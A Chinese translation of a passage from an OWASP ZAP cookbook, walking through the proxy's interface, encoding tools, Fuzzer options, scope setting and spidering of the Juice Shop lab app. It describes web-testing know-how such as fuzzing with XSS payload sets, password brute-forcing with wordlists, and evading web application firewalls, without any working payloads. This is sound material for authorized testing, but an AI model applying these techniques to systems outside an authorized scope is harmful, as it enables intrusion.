我们最后的模式是攻击模式。在此模式下,您将开始扫描任何新增到范围内的目标的漏洞。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.03_B18829.jpg
图 2.3 – 顶级工具栏中的模式选项
图 2*.3*中的下一组四个图标是允许您保存、修改和编辑目标会话信息的选项。
图 2*.3*中的最后一个图标,即齿轮图标,允许您更改 ZAP 代理所有部分的设置。您也可以通过点击工具然后选择选项来访问此设置。我们将在接下来的章节中详细讨论,当我们开始更改和优化每个部分并执行攻击时。
在图 2**.4中,您找到的下一组图标,从顶级工具栏从左到右,允许您将 ZAP 代理的主题更改为八种不同的内置模板:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.04_B18829.jpg
图 2.4 – 顶级工具栏的中间部分
默认设置是扁平光亮模式,但您可以切换到暗模式(扁平暗模式),或使用下拉列表中的任何其他视觉设置,如图 2**.5所示。请记住,任何更改 ZAP 代理外观的设置都可能改变工具中其他设置的位置。在本书中,我们将始终使用默认设置:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.05_B18829.jpg
图 2.5 – 选择主题
当我们继续时,工具栏中的下一组图标允许您查看所有标签(标签和灯泡图标),隐藏未固定的标签(带有红色 X 图标的标签),以及显示标签图标并隐藏标签名称(带有绿色方块和字母 T 的标签)。
向右移动,最后七个图标允许您更改 ZAP 代理窗口的布局,并允许您展开站点树窗口、信息窗口或工作区窗口。对于本书,我们将使用默认配置,展开底部半部分的信息窗口,并保持工作区窗口:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.06_B18829.jpg
图 2.6 – 窗口布局
在顶级工具栏的最后一部分(图 2*.7*)中,您将看到以下内容:
-
设置(从左到右)允许您管理附加插件(红色/蓝色/绿色方块)
-
检查插件更新(带蓝色箭头的闪电符号)
-
显示/启用字段(灯泡)
-
设置和自定义断点(绿/红圆圈,线/箭头,右箭头,停车标志和红色 X)
-
扫描策略管理器(控制面板)
-
应用强制用户模式(挂锁)
-
启用 zest 脚本(磁带)
-
打开用户指南(蓝色问号)
-
禁用/启用 HUD(绿色雷达)
-
使用预配置的浏览器代理站点(Firefox 图标)
-
报告生成(螺旋笔记本)
这些将在后面的章节中进一步详细讨论。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.07_B18829.jpg
图 2.7 – 顶级工具栏的最后一部分
工作原理…
工具栏展示了在 OWASP ZAP 中最常用的工具,旨在帮助用户设置和适应,满足不同用户在使用工具进行测试时的偏好。在这里花时间了解和理解可用的选项。
另见
打开帮助菜单并导航到 OWASP ZAP 用户指南以获取更多信息。
快捷键
使用F1快速打开信息指南。
树窗口
在本方案中,我们将讨论 ZAP 代理树窗口及其每个部分的作用。
准备工作
为了能够操作此方案,你需要在计算机上安装 ZAP,并确保它已启动并在运行。
如何操作…
在站点树窗口中,ZAP 会显示你已经访问并且可以测试的站点。ZAP 只能攻击显示的站点。站点树窗口包含两个选项卡:站点选项卡和脚本选项卡(当选择+
符号后显示):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.08_B18829.jpg
图 2.8 – 站点树
站点选项卡
站点选项卡是显示正在测试的站点的地方。它包含两个树:上下文树和站点树。
站点树是显示测试站点的地方。ZAP 只能攻击站点树中显示的站点。每个站点会根据 HTTP 请求方法和所使用的参数名称显示一个唯一的节点。
在上下文树中,你可以将 URL 分组。最佳实践是为每个正在测试的应用程序创建一个上下文:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.09_B18829.jpg
图 2.9 – 站点树
还有四个可以使用的选项:
-
红色目标:仅显示在范围内的站点
-
有绿色加号的窗口:创建一个新上下文
-
左侧有白色箭头的窗口:导入上下文
-
右侧有白色箭头的窗口:导出上下文
脚本选项卡
一旦你点击+
图标(图 2.10),一个新菜单会弹出,允许你选择脚本选项卡。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.10_B18829.jpg
图 2.10 – 加号图标
脚本标签会打开一个树状菜单,包含两个可选标签。第一个标签是脚本标签,展示你在 ZAP 中已有的脚本,按脚本类型组织。第二个标签是模板标签树,包含可用于创建脚本的模板。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.11_B18829.jpg
图 2.11 – 脚本标签
除了脚本和模板标签外,脚本树状标签中还有三个选项:
-
文件夹: 用于从本地文件存储加载脚本
-
软盘: 用于将脚本保存到本地文件存储
-
滚动并添加: 用于创建新脚本
ZAP 的另一个显著特征是工作区窗口。在下一个食谱中,我们将更深入地探讨这些选项。
它是如何工作的…
树状窗口的整体目的是帮助测试人员了解已捕获的 Web 应用程序,哪些在范围内,哪些在范围外,以及快速查看在枚举阶段或模糊目录过程中发现的各种路径。这里重要的是要开始将你的站点设置为上下文,以便后续工作中测试更具针对性,同时减少一些由网站连接到其他资源时产生的噪音。
工作区窗口
在本食谱中,我们将详细讲解 ZAP 代理的工作区窗口及其各部分的功能。
准备开始
为了能够查看本食谱,你需要在计算机上安装 ZAP,并确保它已启动并运行。
如何操作…
在 ZAP 代理的工作区部分,你可以查看请求和响应,并开始扫描。以下各点的数字与图 2.12中的标签对应:
-
快速开始
(*1*):
快速开始显示一个窗口,允许你选择是否启动自动扫描或使用手动探索 -
请求和响应标签 (2 和 3): 请求和响应标签允许你查看来自站点各部分的请求和响应
-
中断
(*4*):
中断标签允许你更改请求和响应,在 ZAP 中设置断点时停止 -
脚本控制台
(*5*):
脚本控制台标签打开一个窗口,允许你修改新创建的脚本 -
自动扫描
(*6*):
自动扫描选项允许你对目标启动自动扫描 -
手动探索
(*7*):
手动探索选项允许你启动一个浏览器窗口,并设置所有必要的配置,通过 ZAP 代理目标 -
了解更多
(*8*):
了解更多选项提供有关 ZAP 的详细信息,并提供需要互联网连接才能获得更多详细信息的链接
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.12_B18829.jpg
图 2.12 – 工作区窗口
它是如何工作的…
这个窗口启动了整个项目,并且是 OWASP ZAP 中用于测试的主要功能。与其他机器中间代理工具不同,评估是通过这个窗口捕获的,无论是自动化还是手动进行。内容从这里填充到信息窗口中。在接下来的章节中,我们将讨论这个窗口包含哪些信息,其他标签或插件,以及如何配置这些内容。
信息窗口
在本教程中,我们将介绍 ZAP 代理信息窗口以及信息窗口中每个部分的功能。
准备工作
为了能够查看这个教程,你需要在你的计算机上安装 ZAP,并且确保它已经启动并在运行。
如何操作…
信息窗口包含被测试应用程序的数据。它由历史、搜索、警报和输出标签组成,其他 ZAP 工具可以通过使用+
图标作为标签添加。以下是信息窗口的截图:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.13_B18829.jpg
图 2.13 – 信息窗口
历史标签
在这个标签中,ZAP 显示了所有已发送的请求,从第一个请求开始。此标签包含四个可选项,如图 2.13所示:
-
靶心 (1): 选择靶心图标时,只会显示作用范围内的 URL。
-
地球图标 (2): 地球图标用于选择站点。它仅显示树窗口中包含的站点的 URL。你只能选择作用范围(Scope)或站点(Sites)中的一个。
-
漏斗图标 (3): 这个图标允许你基于 HTTP 动词方法、HTTP 动词代码、标签、警报和/或 URL 正则表达式来筛选请求。
-
绿色箭头导出 (4): 这个图标允许你将历史记录以 CSV 格式保存到你选择的主机目录中。
搜索标签
在这个标签中,ZAP 提供了一个搜索机制,你可以在所有数据中或仅在 URL、请求、响应、头信息或 HTTP 模糊测试结果中搜索正则表达式。搜索标签有八个选项。图 2.14展示了搜索标签:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.14_B18829.jpg
图 2.14 – 信息窗口搜索标签
在下图中高亮的图标用于仅在作用范围内的 URL 中进行搜索(上下文 – 参见图 2.10)。为了使用此功能,必须先将站点中的 URL 添加到上下文中。选中后,靶心图标将变为红色,而不是灰色:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.15_B18829.jpg
图 2.15 – 上下文按钮
向右滚动,下一个高亮显示为红色的字段是搜索框输入字段。它用于通过正则表达式搜索内容:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.16_B18829.jpg
图 2.16 – 搜索输入框
搜索参数基于特定的字段,选择项以下拉菜单形式显示。在这个下拉菜单中,你可以选择是否使用正则表达式搜索所有数据,或仅搜索 URLs、请求、响应、头信息或 HTTP 模糊测试结果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.17_B18829.jpg
图 2.17 – 搜索下拉菜单
接下来是反向复选框。勾选后,如图 2.18所示,ZAP 将搜索不包含你搜索的正则表达式的任何内容:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.18_B18829.jpg
图 2.18 – 反向复选框
输入正则表达式后,你需要点击带有放大镜的搜索按钮。点击后,正则表达式的搜索开始。作为替代,你也可以根据键盘的不同按下回车或Enter键来启动搜索:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.19_B18829.jpg
图 2.19 – 搜索按钮
一旦搜索完成,你可以使用下一步或上一步按钮将选择项移动到搜索结果中的下一个或上一个项目:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.20_B18829.jpg
图 2.20 – 下一步和上一步按钮
在搜索标签页中还有一个字段,显示搜索结果的信息。这个字段会显示匹配的数量,正如名称所示,显示多少个结果匹配了搜索的正则表达式:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.21_B18829.jpg
图 2.21 – 匹配数量指示器
最后,有一个导出按钮。点击时,用户可以将搜索结果导出并保存为 CSV 文件到本地文件存储:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.22_B18829.jpg
图 2.22 – 导出按钮
警报标签页
警报标签页分为两个窗格,如图 2.23所示。左侧窗格包含 ZAP 找到的警报,一旦选择了某个警报,右侧窗格将显示该警报的信息,如图 2.23所示。左窗格显示在爬虫、主动扫描或被动扫描过程中找到的所有警报或问题,并以树形视图格式显示。警报还按严重程度排序,从高到低,直到信息级别。警报标签页还提供四个可选择的选项。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.23_B18829.jpg
图 2.23 – 警报标签页
以下是与图 2.23对应的这些选项的解释:
-
上下文 (1): 用于仅显示作用域内的 URLs 的警报。
-
地球 (2): 仅选择包含在站点树视图中的站点的警报。
-
铅笔 (3): 允许用户编辑警报的属性。
-
扫帚(带颜色)(4):删除所有警报按钮。点击时,会显示警告要求用户确认是否确认此操作,或者取消此操作。点击 确定 以删除所有警报,点击 取消 以返回。
加号(+)符号
加号图标可用于向信息窗口添加额外的标签页。标签页为 ZAP 工具。可以添加的标签页有 AJAX**
爬虫**、主动
扫描、自动化、断点、强制
浏览、模糊测试、HTTP**
会话**、OAST
、输出、参数、进度、爬虫、WebSockets
和 Zest**
结果**。图 2.24 显示了所有这些选项,接下来是每个选项的描述:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.24_B18829.jpg
图 2.24 – 插件符号的选项
以下是这些选项的解释:
-
AJAX 爬虫:此工具用于高效且有效地爬取基于 Ajax 的 Web 应用程序。它为 ZAP 创建一个与 Crawljax(一个开源事件驱动的动态爬虫工具)通信的代理。推荐在测试基于 Ajax 的 Web 应用程序时同时使用本地爬虫工具和 AJAX 爬虫。
-
主动扫描:此选项允许启动新的扫描并查看现有扫描的进度。此外,它还展示了各种扫描的数据。
-
自动化:此选项允许你创建自动化测试的脚本。
-
断点:此选项管理当前会话中设置的所有断点。
-
强制浏览:在此标签页中,ZAP 允许你使用强制浏览来查找目录和文件。
-
模糊测试:在模糊测试中,有启动新模糊测试和查看已启动模糊测试信息的选项。
-
HTTP 会话:在此标签页中,ZAP 显示所选站点的 HTTP 会话。
-
OAST
:在此标签页中,ZAP 显示发现的带外消息。 -
输出:在此标签页中,ZAP 会显示在应用程序中发现的错误信息。这些错误可以用来向 ZAP 团队报告漏洞。
-
参数:在此标签页中,ZAP 显示站点的参数和响应头字段。
-
进度:在此标签页中,ZAP 显示每个主机的扫描规则的完成或进行状态以及每个扫描规则的详细信息。
-
爬虫:爬虫工具是 ZAP 的本地爬虫。在此标签页中,ZAP 显示在扫描过程中由爬虫工具发现的独特 URI。该标签页包含三个子标签:第一个子标签显示已发现的 URI,第二个子标签显示添加的节点,第三个子标签显示任何爬虫消息。
-
WebSockets
:该标签显示来自 WebSockets 连接的所有消息。 -
Zest 结果:此标签将显示 Zest 扫描的结果。
它是如何工作的…
信息窗口是从初始爬虫、主动或被动扫描、模糊测试或任何其他插件中获得结果的核心部分。此部分是你开始关注并形成更具体的手动攻击以及测试范围内 Web 应用程序的地方。
还有更多…
这里有很多有用的信息,能够帮助测试人员通过提供对OWASP Top 10或其他厂商文档的参考,创建好的渗透测试报告。这些信息可以在警报标签中找到,并且在选择特定漏洞时会发生变化。
底部
在这个食谱中,我们将讨论 ZAP 代理的底部区域以及每个部分的作用。
准备工作
要进行此食谱,你需要在计算机上安装 ZAP,并且需要启动并运行它。
如何操作…
在 ZAP 代理的底部,你有三个部分:警报、代理状态和扫描状态。警报部分,如图 2.25所示,给你一个快速查看 ZAP 可能在被测试应用中找到的任何问题。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.25_B18829.jpg
图 2.25 – 警报
接下来,我们有代理状态,显示 ZAP 代理运行的 IP 地址和端口:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.26_B18829.jpg
图 2.26 – 代理信息
最后,我们有一个当前扫描状态部分,显示当前正在运行的扫描以及 ZAP 代理在扫描过程中的任何时刻所做的工作。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.27_B18829.jpg
图 2.27 – 当前扫描活动计数
它是如何工作的…
底部区域帮助跟踪扫描和警报数据的快速度量,并且是确保你建立的连接没有变化的快速方式。在构建高管报告时,考虑突出显示这些数据,如果需要一些统计数据用于每月关键
绩效指标(KPI)报告,或者甚至帮助跟踪漏洞管理的数据。
在接下来的几个食谱中,我们将讨论编码/解码/哈希对话框和模糊器。我们决定讨论这些内容,因为另一个著名的代理工具的用户习惯使用这些标签,而 ZAP 则以不同的方式包含了这些功能。为了让你能够进行攻击,我们将深入讨论这些功能。
编码/解码/哈希对话框
在这个食谱中,我们将讨论如何在 ZAP 代理中执行编码、解码和哈希操作。
准备工作
要进行此食谱,你需要在计算机上安装 ZAP,并且需要启动并运行它。
如何操作…
编码是将数据从一种形式转换为另一种形式的过程,而解码则是反向转换。ZAP 内置了一个功能,帮助用户快速转换和引导数据。除了这个过程外,在同一设置中,还有一个功能可以创建该数据的简单哈希值。要开始,请从菜单栏上方选择工具,然后在菜单中选择编码/解码/哈希。
提示
对于快捷键,在 Windows 系统中,按 Ctrl + E。在 macOS 系统中,按 Command + E。
当编辑器打开时,首先要注意的是输入字段,您可以在此输入要编码、解码或哈希的文本,确定非法 UTF-8 字节,或转换为 Unicode。一旦输入所需的文本,所有字段会自动为您转换。
接下来,工具栏提供了几种选项。它们如下:
-
添加新标签:添加一个新的标签页
-
删除选中的标签:移除当前选中的标签页
-
添加输出面板:在当前标签页中添加一个输出面板
-
重置:将所有标签页恢复到默认状态
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.28_B18829.jpg
图 2.28 – 编码/解码/哈希对话框
如脚本下拉菜单中所示(见图2.29),用户可以添加新的字段来比较数据。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.29_B18829.jpg
图 2.29 – 输出面板
在您编码或哈希过的脚本之后,我们将继续进行模糊测试,并讨论如何配置不同的选项,以优化您的 Web 应用程序渗透测试方法。
工作原理……
使用此工具可以快速改变模糊测试应用程序中的操作方式,尤其是使用攻击向量如跨站脚本攻击、SQL 注入等。快速获得不同值的列表有助于绕过在 Web 应用程序中实现不良的验证或编码。
另见
对于具有强大操作功能的编码、解码和哈希字符串工具,请查看CyberChef
:gchq.github.io/CyberChef/
。
使用 Fuzzer 进行模糊测试
在本教程中,我们将介绍如何在 ZAP 代理中使用 Fuzzer,并讲解攻击者如何使用 ZAP 等工具通过暴力破解密码或尝试使用字典词汇通过试错法登录应用程序。
准备工作
要能够完成本教程,您需要在计算机上安装 ZAP 并确保其已启动运行。同时,您还需要运行 Juice Shop,如第一章所示。
如何操作……
对于不了解的人,模糊测试是指一种技术/自动化过程,向目标提交大量无效或意外的数据点,以分析结果中潜在的可利用漏洞。其基本思想是使用内置的有效负载集、任何可选的附加功能或自定义脚本,对任何输入进行模糊测试。在 ZAP 中,可以通过以下几种方式实现:
-
在信息窗口中,点击其他插件(警报、爬虫等)后的绿色
+
按钮 -
在一个标签页(站点、历史记录等)中右键点击请求,选择攻击/
-
在请求标签的头部或正文中高亮显示一个字符串,右键点击,然后选择模糊测试…
-
在菜单栏中选择工具 / 模糊测试…,然后选择要进行模糊测试的请求
提示
快捷键是Ctrl + Alt + F。
要开始,进入 Fuzzer 插件的信息窗口后,点击新建 Fuzzer,这将显示当前捕获到的站点(参见图 2.30)以及来自 Spider 扫描的请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.30_B18829.jpg
图 2.30 – Fuzzer 选择消息窗口
一旦选择了请求,新的对话框窗口会打开。在这个窗口中,你可以通过几个选项卡来配置模糊操作。我们将在接下来的部分中逐一介绍每个选项。
模糊位置标签
这是主选项卡,你可以在这里高亮选中的字符串开始进行模糊测试。要了解你正在查看的窗口,需要注意对话框的左上角显示了标题文本,而左下角显示了正文文本。屏幕的右侧显示了从标题中添加到选定字符串的模糊位置。该位置会与有效载荷和处理器的数量一起标出。此外,在标题上方有几个下拉菜单,可以用来选择标题和正文文本,以及更改如何查看左侧对话框,并且还有一个编辑功能。编辑允许你修改标题中的文本。
重要提示
编辑标题字符串会自动移除你添加的所有模糊器。
要开始操作,先高亮选中特定字符串区域,然后点击右侧的添加…。这将打开一个新的有效载荷对话框,你需要再次选择添加…,以便打开另一个对话框来选择类型。类型字段包括空/空值、文件(你可以从主机系统目录中添加文件)、文件模糊器(包含各种有效载荷,例如缓冲区溢出填充、XSS 漏洞、目录列表等)、Json
(用于 JSON 输入)、数字(从 0 到 10,增量为 2)、正则表达式(包含多个有效载荷)、脚本和字符串等选项:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.31_B18829.jpg
图 2.31 – 有效载荷 | 添加有效载荷
有效载荷中的另一个功能是处理器,如图 2.32所示。这允许你将当前的有效载荷更改并处理为不同的类型,比如将其转换为Base64 编码格式。你可以添加多种类型,然后选择添加…和确定。这是在启动 Fuzzer 之前对模糊有效载荷进行编码、解码和哈希处理的一种方式。
此外,处理器可以应用于特定的模糊有效载荷(红色标出的部分)或选中的整个字符串(蓝色标出的部分),如图 2.32所示。界面上还会显示一个计数器,显示已应用的处理器数量:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.32_B18829.jpg
图 2.32 – 处理器
一旦选择了处理器类型,点击对话框底部的添加,然后点击确定。这将把有效负载添加到Fuzz Locations
,如图 2.32所示。完成所有输入后,选择右下角的开始模糊测试。模糊测试完成后,信息窗口将显示结果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.33_B18829.jpg
图 2.33 – 添加处理器
从左到右,在图 2.34中,信息窗口中显示的结果将展示任务编号、消息类型、HTTP 状态(代码)、原因(如禁止访问或错误请求)、往返时间(RTT)、响应头/响应体的大小、最高警报、状态和使用的有效负载。此外,结果可以导出到 CSV 电子表格。最后需要注意的是进度下拉菜单。此菜单跟踪每个模糊字符串,并允许您在结果之间切换。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.34_B18829.jpg
图 2.34 – 模糊测试信息窗口
选项卡
当启动新的模糊测试器时,您将看到选项选项卡(图 2.35)。此选项卡让您为模糊测试器配置更多选项:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.35_B18829.jpg
图 2.35 – 模糊测试选项
这些选项如下:
-
输入/输出错误重试次数:确定当发生输入/输出错误时,模糊测试器将进行多少次重试。
-
最大错误数:当错误数达到此数值时,模糊测试器将停止。
-
有效负载替换策略:控制多个有效负载列表的重复顺序。以下是两个选项:
-
深度优先
-
广度优先
-
-
每次扫描的并发扫描线程数:扫描同时执行的线程数。增加此数字将加速扫描,但可能会对运行 ZAP 的计算机或目标造成压力。
-
模糊测试时延迟(以毫秒为单位):在请求目标之间创建延迟,有助于避免被封锁,或如果目标限制过多请求时使用。
-
跟随重定向:通过跟随下一个请求继续进行模糊测试。
消息处理器选项卡
最后一个选项卡,如图 2.36所示,是 HTTP消息处理器选项卡,它可以访问并更改正在进行模糊测试的消息,控制处理过程,并与 ZAP GUI 进行交互:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_02.36_B18829.jpg
图 2.36 – 模糊测试消息处理器
以下是需要了解的消息处理器类型。请记住,某些类型的处理器可能无法使用或不可用,这取决于看到的响应类型或是否已经构建了脚本:
-
反 CSRF 令牌刷新:允许在请求中刷新反 CSRF 令牌,但必须由 ZAP 检测到才能在此处理器中使用。如果检测到反 CSRF 令牌,则会自动添加。
-
模糊 HTTP 处理器(脚本):如果已向 ZAP 添加脚本,允许你选择启用的脚本。
-
有效载荷反射检测器:此功能将告诉你是否发现了有效载荷,并使用符号(黄色太阳图标)和词语反射来表示这一点。此过程会自动添加。
-
请求内容长度更新器:更新或添加内容长度请求头,包含正文的长度。此过程会自动添加。
-
标签创建器:根据响应中的内容向结果的状态列添加自定义标签。
-
用户消息处理器:对用户进行模糊处理。用户必须存在才能选择并添加此处理器。
恭喜!你现在已经全面掌握了 ZAP 的所有功能、布局、标签、树形结构和选项。
工作原理…
处理器是增加模糊处理定制化的方式,可以增加深度和混淆性,或者帮助绕过那些恼人的Web 应用防火墙(WAFs),以进行针对目标的评估。
还有更多…
使用 Kali 或 Parrot 等操作系统时,通常会自带字典列表,另外可以使用 CeWL 等工具生成字典列表,它可以从目标 Web 应用中抓取单词,或者使用 John the Ripper,它提供了自定义字典列表的选项。
另见
查看 GitHub 页面,获取已构建的字典列表,以便在进行模糊处理时快速将其添加到 ZAP 中。
第三章:配置、爬行、扫描和报告
我们现在已经进入了第三章。在这一章中,我们将深入探讨黑客技术,但在此之前,我们首先需要了解如何设置浏览器和Zed Attack Proxy
(ZAP),以便成功且无错误地捕获流量,并了解作为用户可以选择的不同选项。我们将介绍爬行(或蜘蛛爬行)的基础知识,使用该应用程序来映射网站树并为扫描(审计)做准备。最后,我们将讲解报告生成以及如何生成符合你评估要求的报告,并解读这些数据以获得更好的结果。
在本章中,我们将介绍以下食谱:
-
在 ZAP 中设置范围
-
与蜘蛛一起爬行
-
使用 AJAX Spider 进行爬行
-
被动扫描 Web 应用
-
主动扫描 Web 应用
-
生成报告
技术要求
对于本章,你需要在机器上安装 OWASP ZAP Proxy 和 OWASP Juice Shop,并希望能够使用 ZAP 拦截浏览器与 OWASP Juice Shop 之间的流量。
在 ZAP 中设置范围
在开始应用程序安全评估之前,设置项目的范围至关重要。范围定义了评估的目标和边界,例如在设置 ZAP 范围部分仅针对192.168.254.61
中的页面,如图 3.1所示。设置范围可以防止范围外的(未经授权的)测试。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.01_B18829.jpg
图 3.1 – 网站 | 会话属性以添加范围
准备工作
为了准备此食谱,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序的首页拦截流量。
如何操作…
- 首先,你需要启动
OWASP Juice Shop
。在浏览器窗口中,当 ZAP 正在拦截流量时,使用你的 IP 地址在浏览器中输入3000
,并访问OWASP Juice Shop
应用程序,如图 3.2所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.02_B18829.jpg
图 3.2 – 使用用户的 IP 地址访问 Juice Shop
-
打开 ZAP,在树形窗口中,点击**新建上下文…**按钮。
-
在上下文名称字段中,选择一个名称。在这个例子中,我为一个新的上下文命名为
OWASP Juice Shop
,如图 3.3所示。 -
在选择名称后,在顶部节点字段中,点击选择…并选择https://IP 地址:3000节点。在这个例子中,我的 IP 地址是
localhost
。 -
接下来,如果你愿意,可以在描述字段中输入一些内容,确保选中在范围内旁边的复选框,然后点击保存以保存新的上下文。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.03_B18829.jpg
图 3.3 – 设置范围
在你完成该项目的作用域设置后,我们将讨论为认证的爬虫和扫描设置用户选项,然后再介绍如何使用Spider
和Audit
对应用程序进行操作。
工作原理…
通过设置项目的作用域,你将能够选择仅在作用域内的项目进行测试。这样可以确保你只检查那些已经授权测试的应用程序。
使用 Spider 进行爬取
Spidering 基于设置项目选项部分,我们将使用它来爬取 OWASP Juice Shop 代理。使用 Spider 进行爬取可以帮助我们识别在作用域内的应用程序目录。这对于识别用户从公开互联网可见的、易于访问的内容非常有用。ZAP 能够为用户提供更好的结果,使你对 Web 应用程序有更深入的了解,从而进行更全面的、被动和主动扫描。
准备工作
开始之前,请确保 ZAP 已启动且 OWASP Juice Shop 正在运行。
如何操作…
在你已经选择了需要添加到作用域的应用程序后,我们需要选择 URL。右键点击并选择Spider
。如图 3.4所示,右键点击Sites
或Contexts
部分中的 URL,会显示多个选项。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.04_B18829.jpg
图 3.4 – 从作用域进行 Spidering
一旦你选择了作用域,点击Spider
来选择起始点。点击选择图标,绿色高亮显示在图 3.5中,这会打开一个下拉菜单。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.05_B18829.jpg
图 3.5 – Spider 作用域
如图 3.6所示,你将选择要在 Spider 中使用的作用域内应用程序。在本例中,我们正在爬取我们本地安装的应用程序,OWASP Juice Shop。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.06_B18829.jpg
图 3.6 – 选择节点
点击目标应用程序的选择后,你将回到Spider
对话框,如图 3.7所示,起始点字段将显示IP 地址或域名给 Spider。在我们的例子中,它列出了我们应用程序的 IP 地址,这与你的情况会有所不同。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.07_B18829.jpg
图 3.7 – 起始点
接下来的功能是用户字段,允许你选择一个已配置的用户进行认证爬取以及会话管理。我们将在第四章中进一步讨论如何设置和一些用户配置选项,认证与 授权测试。
此外,你会看到一个递归的复选框。选中后,它将确保当前选定的作用域站点下的所有节点也会用于启动 Spider。
最后,在Spider
对话框中还有两个选项需要注意。第一个选项是仅扫描 Spider 子树,它允许你扫描应用程序目录及其内部的内容,选定的目录将作为起始点。此设置将忽略 URL 的子域名,只会使用子目录作为起始点。另一个选项是显示高级选项,如图 3.8所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.08_B18829.jpg
图 3.8 – Spider 对话框复选框
勾选此选项后,该功能将作为第二个标签显示,您可以在图 3.9中看到。它包含更多关于 Spider 扫描器的选项。了解这些选项非常重要,尤其是在用户的应用程序对爬虫敏感的情况下。作为良好实践,如果应用程序没有快速处理请求,你将需要减少线程数,以防止应用程序崩溃。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.09_B18829.jpg
图 3.9 – Spider 高级选项
工作原理…
Spider 的工作原理是发现并识别选定应用程序中的所有超链接和目录。Spider 将通过识别应用程序中的资源为你提供完整的应用视图。
在下一节中,我们将继续介绍另一个常用功能,称为AJAX Spider
。这个集成的附加组件可以帮助用户抓取异步 JavaScript 和 XML(AJAX)丰富的 Web 应用程序。
使用 AJAX Spider 进行爬取
AJAX Web 应用程序可以使用 XML 来传输数据,但许多 Web 应用程序同样可以使用 JSON 文本或纯文本来传输数据。AJAX 是一种让 Web 应用程序通过与后端 Web 服务器交换数据来异步更新(Web 服务、API 端点和 JavaScript 获取方法)的方式。这使得 Web 页面可以更新页面的一部分而无需完全重新加载。AJAX Spider 为 ZAP 创建了一个与Crawljax
的代理,Crawljax 是一个开源的、事件驱动的、动态的爬取工具。
准备就绪
你需要使用 ZAP 爬取 Juice Shop,因此在开始执行这个操作之前,确保先启动并运行这两个工具。
如何操作…
启动 AJAX 爬虫有三种方法。第一种方法是在站点树窗口中。要启动 AJAX 爬虫,右键点击要进行 AJAX 爬取的站点,悬停在攻击上,点击Ajax Spider...
,如图 3.10所示。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_03.10_B18829.jpg
图 3.10 – 通过站点树启动 AJAX Spider
启动 AJAX Spider 的第二种方式是通过工具标签,点击AJAX Spider...
,如图 3.11所示。
